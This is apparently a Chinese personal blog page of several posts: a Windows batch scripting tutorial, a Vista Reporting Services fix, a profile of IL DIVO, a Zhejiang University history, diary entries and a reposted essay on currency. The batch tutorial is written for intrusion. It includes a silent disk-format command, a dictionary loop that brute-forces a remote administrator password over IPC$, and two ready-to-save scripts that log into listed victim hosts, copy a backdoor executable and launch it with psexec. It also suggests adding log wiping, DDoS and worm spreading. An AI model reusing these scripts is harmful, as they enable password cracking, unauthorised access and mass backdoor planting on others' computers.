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6月13日 Windows批处理脚本编成1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 语法 echo [{on off}] [message] Sample：@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) 3.Goto 命令 指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 语法：goto label （label是参数，指定所要转向的批处理程序中的行。） Sample： if {%1}=={} goto noparms if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 Rem Message Sample：@Rem Here is the description. 运行 Pause 命令时，将显示下面的消息： Press any key to continue . . . Sample： @echo off :begin copy a:*.* d：\back echo Please put a new disk into driver A pause goto begin 在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。 从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数： MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample： Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag （应先判断数值最高的错误码） if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件，则条件成立，运行命令，否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable for {%variable│%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者，如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。 处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。 eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。 FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 z 或Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。 最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外，FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号(")，扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2： 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。 最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－ for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:\ok.txt ，这样就ko 你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。 代码雏形： --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. sample1：fomat.bat @echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^ sample2： 当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。 @echo off @net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3 三.如何使用组合命令(Compound Command) 1.& Usage：第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令，而不管命令是否执行成功 Sample： C:\>dir z: & dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\ vista下如何安装reporting services在Vista下安装Reporting Services时，总会显示安装不了。主要原因是Vista采用IIS 7.0，存在兼容性问题。
如何配置IIS7.0呢？启动windows组件安装程序，重新安转IIS7.0，确保以下的服务组件都能安装。(主要注意带*的服务)
Component Folder Static Content Common HTTP Features Default Document Common HTTP Features HTTP Redirection Common HTTP Features Directory Browsing Common HTTP Features ASP.Net Application Development ISAPI Extension Application Development ISAPI Filters Application Development Windows Authentication Security *IIS Metabase Management Tools *IIS 6 WMI Management Tools 如果还不能正确安装或运行，再到官方网站下个最新的补丁.SQL Server 2005 Service Pack 2 6月12日 美声绅士IL DIVODavid Miller 戴维米勒 / 男高音 / 美国籍
Sebastien Izambard 萨巴斯汀伊桑巴德 / 声乐 / 法国籍 Urs Buhler 厄斯布勒 / 男高音 / 瑞士籍 Carlos Marin 卡洛斯马林 / 男中音 / 西班牙籍 由英国乐坛巨人Simon Cowell跨越音乐界线，独创popera(揉合流行歌曲唱法与古典歌剧声乐唱法演唱流行、古典、歌剧等类型歌曲的歌唱新流派)歌唱潮流的全新概念组合--IL DIVO. 他在全球搜寻了四位优秀的美声歌唱家，结合流行歌曲唱法，开创了音乐的新潮流并迅速风靡全球。
这四个具有正统的歌唱训练的年轻人，他们可以用歌声将深受欢迎的老歌与新歌提升到另外一个层次，将流行乐与古典乐之间的缺口弥平。乐团在2003年12月诞生，被命名为IL DIVO。IL DIVO是意大利文，指的是具有圣洁唱腔感觉的演唱家，或是男声乐家，IL DIVO拥有多国国籍的团员直接反映出乐团具有音乐地球村的独特性。IL DIVO在专辑中所演唱的歌曲，不单只有英文歌曲，更有西班牙文与意大利文，无论他们演唱的是哪一国语言的歌曲，你都可以在他们的优美歌声中体验到全球共通的情绪——罗曼蒂克。无论是感人落泪的咏叹调，或是扣人心弦的美声情歌，Il Divo的歌声中所蕴藏的催情魔力绝对让你神魂颠倒。 5月30日 浙大母校110年校史浙江大学的“根”浙江大学前身叫“求是书院”，创建于清光绪二十三年（1897），据今即将110年，是我国最早自办的新式高等学堂之一，当年“求是书院”总办就是大名鼎鼎的林启（1839—1900），字迪臣，福建侯官人。今西湖孤山还有“林启纪念堂”（“林社”）和他的墓穴。 求是书院首届招收“举贡生监”（后称“内院生”），共30名，学制五年。以后也招“经生”、“蒙生”，统称为“外院生”。书院注重“新学”，必修课设有国文、英文、算学、历史、地理、格致、化学等。延聘外籍教师，选派留学生。1898年选派4人，1900年选派18人，1902年选派10人赴日留学，至1903年，浙江留日学生总数达154人，居全国第二位。 书院最初二十年，创业维艰，几易其名，又一度停办，直到1927年7月，在改组工专、农专为工学院、农学院的同时，成立了第三中山大学，学生达174人，基本形成了中国现代高等学校的雏形。1928年4月1日改名为浙江大学，1928年7月1日起，冠以“国立”二字，称国立浙江大学，下设工、农、文理三个学院。 浙大西迁史1937年7月，抗日战争爆发，8月日寇进攻上海，杭州危急，为了坚持学业，为国家保留一批知识精英，竺可桢校长毅然率领全体师生踏上西迁流亡办学的艰苦历程，1937年9月，浙大一年级迁往浙江的西天目山上课，12月全部迁往浙江的建德，这就是浙江大学的第一次搬迁，第二次迁在江西、吉安、泰和，第三次迁在广西宜山，第四次迁到贵州。
在四次搬迁过程中，值得一提的是，在江西吉安、泰和这段时间，他们不仅开展了诸多的抗日活动，还为当地群众办了很多公益事业。其中最为民众称道的是修了一条五华里的防洪堤，使当地老百姓消除水患之灾。1938年7月，江西北部马当、彭泽相继失守，竺可桢校长立即成立了西迁委员会，由他亲自带队，到广西宜山寻找适合的校址，于1938年11月，迁到广西宜山，住下不到半年，浙大校舍遭日机轰炸，兼之师生闹痢疾，竺可桢校长于是来到贵州寻找校址。 1939年2月，竺可桢校长来到贵阳，与当时的贵州省主席吴鼎昌商议，准备把浙大迁到云南的建水或贵州的安顺，在商议过程中，恰遇湄潭在贵阳做事的陈世贤、宋麟生两人，他们力劝竺校长迁往湄潭，因为湄潭山清水秀、价廉物美，人民感情淳朴。竺校长听了两人的介绍后，遂来湄潭考察。时任湄潭县县长的严溥泉在江苏任过职，听说竺校长来湄考察很高兴，亲自召集各界人士组织了21个团体，对竺校长的到来表示隆重的欢迎，并告诉竺校长把湄潭最好的房舍供浙大师生选用，竺校长在湄考察一天后，在日记中写道：湄潭风景优美，民风淳朴，物美价廉。决定了将浙大迁到湄潭 1940年1月16日，竺可桢从贵阳乘校抵遵义，受到全城绅士的欢迎。因遵义至湄潭的公路还有部分路面和桥梁未竣工，迁到遵义的浙大只好临时安排房舍复课，同时派理学院院长胡刚复、农学院院长蔡邦华到湄潭筹划迁校事宜，6月，浙大农学院师生陆续迁到湄潭，6月10日正式开学上课。9月22日，竺校长偕胡刚复、费巩教授来湄，次日到城北20公里的永兴场，察看了江西会馆、三楚会馆、四川会馆、南华宫等处，决定将滞留在贵阳青岩的一年级迁到永兴，理学院及师院理科速迁湄潭县城，至此，浙江大学结束了两年多颠沛流离的西迁之路，在贵州黔北找到了一方适于教学科研的净土，并在这里扎根成长、开花、结果。由于浙大西迁的路线与红军长征时期前半段路线基本吻合，而落脚点又都是对中国革命具有转折意义的遵义，因此人们称它为“文军的长征”。
浙江大学在遵义湄潭办学七年，被称为浙大历史上最光辉的七年，是浙大办学历史上最重要的发展时期。在湄工作和学习过的两院院士达45位，其中有一大批中国知识分子的一代精英，竺可桢、苏步青、王淦昌、谈家桢、贝时璋、卢鹤绂、陈建功等世界著名科学家的主要论文在湄潭成稿，他们在十分简陋的条件下，潜心研究，孜孜以求，成就赫然。他们不仅为我国科学事业做出卓越的贡献，还为贵州黔北以及湄潭政治、文化、经济的发展起到巨大的影响和推动作用。 英国著名学者、世界著名科学家李约瑟博士在1944年10月来湄潭讲学，被浙大师生在艰苦的环境下，那种浓厚的学术氛围和诸多的论文所吸引。回到英国后，在《自然周刊》上发表文章中写道：在重庆与贵阳之间叫遵义的小城里，可以找到浙江大学，是中国最好的四大学之一。他甚至把浙大与他的母校剑桥大学相提并论，称浙大为“东方剑桥”。
1987年，浙江大学、湄潭县人民政府为了缅怀浙大师生在抗战时期与湄潭人民同舟共济、相濡以沫的这段光辉历史，经贵州省文化厅、湄潭县人民政府多方筹资，将浙大湄潭分部----文庙加以维修，成立了浙江大学西迁历史陈列馆。陈列馆设在东西庑和两座阁楼中，分“漫漫西迁路”、“遵湄办学史”、“竺公风德颂”、“求是群芳谱”、“今日求是园”、“湄杭情谊深”六大部分，共展出了500多张照片，数百件珍贵文件及大量书籍，手稿史料。开馆十余年，观众超过10万人，其中有不少是来自国内外的著名学者和浙大校友。还有来自英、美、法、奥地利、日本的客人及港、澳、台同胞。如今，陈列馆已成为贵州省的社会主义和爱国主义教育基地。
解放后的浙大1946年秋学校迁返杭州。至1948年3月底，浙江大学已发展为拥有文、理、工，农、师范、法、医7个学院、25个系、9个研究所，1个研究室的综合性大学。 1952年，全国高等学校院系进行调整，浙江大学的学科和院系设置发生了很大变动。其部分系科调整到省外兄弟院校，部分院系或独立成校，或与之江大学，浙江省立医学院等院校组合重新建校。之江大学前身为建于1897年的育英书院；浙江省立医学院前身为建于 1912年的浙江医学专门学校。浙江大学文学院。理学院的一部分、之江大学的文理学院和浙江师范专科学校合并，建立浙江师范学院， 1958年又与新建的杭州大学合并．定名杭州大学；浙江大学的农学院单独分出成立浙江农学院，1960年更名为浙江农业大学；浙江大学的医学院与浙江省立医学院合并，成立浙江医学院，1960年更名为浙江医科大学。调整后的浙江大学成为一所多科性的工业大学。 经过近半个世纪的发展，特别是改革开放以来，源出一脉的浙江大学、杭州大学、浙江农业大学、浙江医科大学的建设和发展均取得了相当大的成就。浙江大学成为在国际上有较大影响的、以工为主、理工结合、人文经管协调发展的全国重点高校，1995年成为列入国家“211工程”建设计划的重点大学之一。杭州大学，浙江农业大学、浙江医科大学也分别成为实力雄厚、特色鲜明，居于国内同类高校前列，在海内外有一定影响的浙江省属重点大学，并分别通过了“211工程”部门预审和重点建设项目立项论证。四所学校对浙江省乃至全国的经济建设和社会发展都作出了重要贡献。 经国务院批准，1998年9月15日，浙江大学、杭州大学、浙江农业大学、浙江医科大学四校合并；合并后的学校仍定名“浙江大学”，为教育部直属高校，实行教育部与浙江省共建共管。
浙江大学现状学校位于中国历史文化名城、世界著名的风景游览胜地——浙江省杭州市。其北依苏沪，东接甬港，南联闽粤，是中国东南沿海长江三角洲地区的重要城市。学校设玉泉、西溪、华家池、湖滨、之江、紫金港等6个校区，占地面积5.33平方公里，分布于杭州市区不同方位。校园依山傍水，环境幽雅，花木繁茂，碧草如茵，景色宜人，与西湖美景交相辉映，相得益彰，是读书治学的理想园地。浙江大学在长期的办学过程中，以严谨的“求是”学风培养了大批优秀人才，以执著的科学创新精神创造出了丰硕成果，蜚声海内外，曾被英国著名学者李约瑟誉为“东方剑桥”。竺可桢、马寅初、卢嘉锡、苏步青、钱三强、王淦昌、贝时璋、陈建功、钱令希、谈家桢、谷超豪、郑晓沧、梁守盘 、夏承焘、姜亮夫、李政道、吴健雄、路甬祥等著名学者都曾在校工作或学习。浙江大学校友中当选为中国科学院院士、中国工程院院士的有140余人，其中在浙大就学者就有80余人。 浙江大学的学科涵盖哲学、经济学、法学、教育学、文学、历史学、理学、工学、农学、医学、管理学等十一大门类。学校现有110个本科专业，39个博士后流动站，具有一级学科博士学位授权点31个，博士学位授权点181个，硕士学位授权点264个，另有临床医学专业博士学位授权点以及法律硕士（JM）、工商管理硕士（MBA）、公共管理硕士（MPA）、教育硕士、体育硕士、农业推广硕士、风景园林硕士、兽医硕士、公共卫生硕士、工程硕士、建筑学、临床医学、口腔医学13个专业硕士学位授权点。学校现有国家重点学科24个，国家重点（专业）实验室13个，国家工程(技术)研究中心5个，国家人文社科重点研究基地3个，国家基础科学研究和教学人才培养基地7个，国家工科基础课程教学基地4个，国家战略产业人才培养基地3个，国家大学生文化素质教育基地1个。 学校师资力量雄厚，现有教职工8400余人，其中中国科学院院士12人，中国工程院院士9人；教授及其他正高职人员1100余人，副教授及其他副高职人员2400余人。全校有全日制在校学生44000余人。研究生17000余人，其中：硕士研究生11000余人，博士研究生6000余人；另有攻读专业研究生学位4500余人；本科生24000余人，外国留学生1200余人。 学校综合办学条件优良，基本设施齐备。校舍总建筑面积200余万平方米。拥有计算中心、分析测试中心、现代教育技术中心等先进的教学科研机构。科学馆（楼）、体育馆（场）、活动中心、游泳池等各类公共服务设施齐全，为全校师生员工的学习、生活、开展中外学术和文化交流活动提供了完备的条件。各校区图书馆总建筑面积8.3万余平方米，总藏书量626万余册，是全国规模最大、分布面最广、学科覆盖最全的综合性大学图书馆之一。出版社1家。附属医院6家，总床位数5459张。学校还创办了浙江大学国家大学科技园，并在南昌、宁波、温州、嘉兴、绍兴等地设立了分园。总长达120公里的高速计算机骨干网络以及特设的公交线路将各校区和附属医院联为一体。 “国有成均，在浙之滨”。如今，有着百年辉煌历史的浙江大学，肩负着新的历史使命。作为中国高等教育管理体制改革的试点之一，她将通过改革与发展，努力建设成为以“综合型、研究型、创新型”为办学特色，具有世界先进水平的一流大学，为科教兴国战略的实施和民族振兴、国家富强做出应有的贡献。 5月15日 王者归来哈哈，我又回来了。不知道这次能坚持写多久。
总是这样，对什么新鲜事就三分钟热度。
最近在学车，真是被教练骂得够呛。稍微有点差池，就得狗血淋头。
引用某君的话来说，打从我娘胎里出来，还从没被这样骂过。
杭州的教练啊，能不能对学员温柔点、耐心点呀……
朋友们，早点学车吧，毕竟可以早死早超生。
P.S. 周五场地考，预祝能顺利通过，谢天谢地！ 6月6日 托了很久的作业游戏规则：在自己博客上写下答案，再想几个题目，传给另外5个人，且不得回传。还要到那些小可怜那通知，嗨，哥们，你被我逮了。依此类推，继续游戏的进行。
黑眼睛的问题：
A 当不能完美时，你选择自己爱的还是爱自己的结婚？
B 当路上偶遇你不再有联系的往日恋人时，你的反映？
C 当爱情有了老夫老妻感时，你还会热衷于每天费尽心机的在他面前花枝招展吗？
D 婚后你愿意和公婆一起住吗？为什么？（女的做）
D 你妈妈和你老婆有不可调协的矛盾时你怎么办？（男的做）
A 没什么值得可惜的，自已爱的肯定不是最终得到的，爱自己的才是陪伴自己走过一生的人。愿天下有情人终情眷属，如果真的是这样，就不会有这么多人报以这样的期望了。
B 有点尴尬，但希望听到她一切都过得很好，生活得很幸福的消息。
C 要适时得去表现，但又不能太出众。如果是天天都牵手，那牵手也就失去了它最美妙的意义，一点也没有新鲜感了。
D 只有跟老婆说对不起。没有老婆我可以，但没有母亲万万不可。母亲从生出我以后就含辛如苦，没有一点怨言得抚养我长在，所以我以后一定要守护两个女人，第一个是我母亲，第二个才是我老婆。因此，找老婆第一点就要求懂得孝敬父母。
我的问题：
觉得黑眼睛的问题都很不错，同上吧
点名啦：evelyn、Monkey、dailoffate、道道
久违的博客 真的是好久没蹋上这片空间，像似被冷落。这可能就是我的一个缺点，做事情只能保持几分的新鲜度。归结起来就是一个字，这个人真是有点“懒”。这话一点都没错，我向来都懒得出去，懒得去做运动，懒得去追女孩子……但却不懒得去打扫卫生，我也从来不用喜欢用洗衣机去洗衣服。就像今天下午就自己手洗了一个下午的衣服，真的是洗得腰都酸喽。
自从印度回来，说忙也不忙，说不忙也挺忙的，每天总会有那么些事。毕业论文、毕设、报销的事、母亲的生日、游戏……杂七杂八的。更好的借口那就是浙大的代理很垃圾的，上不了MSN，上国外网也是很不稳定。心想，为了写点博客，犯不着跟这网络过不去。再说，浙大的校内网是多么丰富多彩啊。快速的BT下载，看不尽的电影、连续剧。新白娘子传奇、Prison Break，天天都这么精彩，难怪会冷落了这片天空呢！
看来要改改自己的性子，总不能让浮云遮住了自己的视线。一切快乐的、美好的事物也都要在这里留下一个脚印。嗯，以后为常来更新的。让这片天空重新绽放灿烂的光芒…… 3月24日 写在离别前离别前的时间过得异样地快。彷佛我们一行人来到印度还是发生在昨天的事情，现在就要匆匆着收拾回去的行礼了。要做的事情还很多，写邮件跟印度友人告别，打最后一次台球，最后一次游泳，最后再吃一次Domino Pizza……。打包收拾，离别前还要再想想该带走些什么，留下些什么，是不是东西都已经带齐了，还有什么东西忘带了？ 其实，我最想带走的就是在印度生活七个月的点点记忆，记住曾在这里发生的每一个细节，记住曾在这里遇到过的每一个人，记住这些人在这个地方发生的事情。以后，肯定还会想起自已在印度Mysore繁忙的培训生活，还会想起和大家一起在Mangalore海边的游玩，还会回味那一边听着周杰伦《十一月的肖邦》一边看《三国演义》的美妙感觉。不过，最美妙最值得怀念的还是能跟这十一个人一起在印度度过这美好的七个月，“风景固然美丽，但点缀的风景才更有意义”。回国以后，想必就很难再有机会大家同聚到一起，谈天说地了。每个人都还有自己的路要走，都有自己的理想要去奋斗，找工作的，准备考研的……无论如何，祝福每个人事业顺利，前途光明。 开心。回国就能有很多很多好吃的，还有母亲亲手做的饭菜，那肯定是少有的美味。还可以碰碰老朋友，都已经长久没见了，不知道大家都过得咋样。同学们，朋友们，我要回来啦。 2月28日 关于人民币升值问题（转载自CYC）近期来美国和日本压人民币升值的话题，成为了热点。美国和日本指责中国政府干预外汇自由，要求中国实行浮动汇率，放开资本管制。而中国则坚定或者委婉地予以拒绝。要说清楚这个问题，得首先从黄金谈起。大家知道，人类最初的货币是黄金和白银。黄金和白银由于不易变质，产量又不是很多，易于切割，成为了所有国家都接受的财富符号。当时欧洲殖民主义者对黄金产生狂热的迷恋，他们寻找新大陆的重要目的就是寻找黄金。后来的不少文献在谈到这段历史时，大都指责资本主义赤裸裸的掠夺财富，进行资本原始积累的罪恶本性。事实上，如果把当时的欧洲看作是相对孤立的整体的话，也就是说，假如掠夺来的黄金主要只在欧洲内部使用，那么这些黄金对于欧洲来说，谈不上什么原始资本积累，而只是相当于货币扩张而已。简单地说，欧洲黄金的增多，就跟今天的多印钞票一样，轻度的黄金扩张可以刺激经济，而过分的黄金扩张只会让经济发疯。 当然，黄金总量如果不增长，就跟今天的中央银行停止发行钞票一样，经济也会因为缺乏足够的货币而停滞萧条。黄金就其质地来说，非常适合作为货币。但是它并不是具备货币的所有要求。这体现在它的供应上。黄金的供应是自然决定的，有时候多有时候少。而国家经济的发展往往需要稳定的货币供应。特别是世界经济发展到一定总量时，黄金就再也跟不上经济的增长，而成为经济的制约因素。 在货币的进化过程中，开始出现纸钞。最开始的纸钞就是借条。银庄（相当于今天的私人银行）发出纸钞，拿着纸钞的人可以在银庄的各个分庄换取银子或者黄金。由于发出去的钞票随时都可能换成黄金或者银子，所以各个银庄必须在有等量的黄金或者银子时，才敢发钞票。这就是大家常常听说的：发放钞票要以黄金外汇等储备为基础。当然，这种说法反映的是当时的现实。有些学经济的还用这句话来解释当今的货币政策，就是胡扯了。 在银庄发放钞票的过程中，发现自己可以比黄金或者银子拥有量更多的发钞票？？因为钞票不可能立刻要兑换成黄金。特别是对于那些大银庄，他们的钞票因为信誉好，甚至可以直接像黄金白银那样来买东西，人们也就不在乎是不是一定要兑换成黄金白银了。这样，银庄发出的钞票远远超过了其黄金白银拥有量。这就是信誉货币的始端。它意味着，货币可以凭空的印刷出来。但是无论过去还是现在，这种扩张都是通过信贷完成的。因此不少经济学者坚持：即便货币可以凭空创造，但是也只能以信贷的方式进行扩张。这种说法完全没有理论依据，我可以预言，如果说货币财政政策要进行改革，那么首先将会在货币的发行方式上对传统理论的突破。 由于银庄发放钞票可以超过它实际拥有的财富，只要不发生挤兑，它就实质上是占有了这些多余的财富。这就类似于现代国家发行钞票的货币税。同时钞票由私人发行，也不利于国家对经济的宏观调控。所以在货币的演化过程中，国家开始集中发钞权。国家发行钞票，最初也是以黄金作为本位，也就是国家要拥有多少黄金才发多少钞票，钞票可以自由兑换黄金。 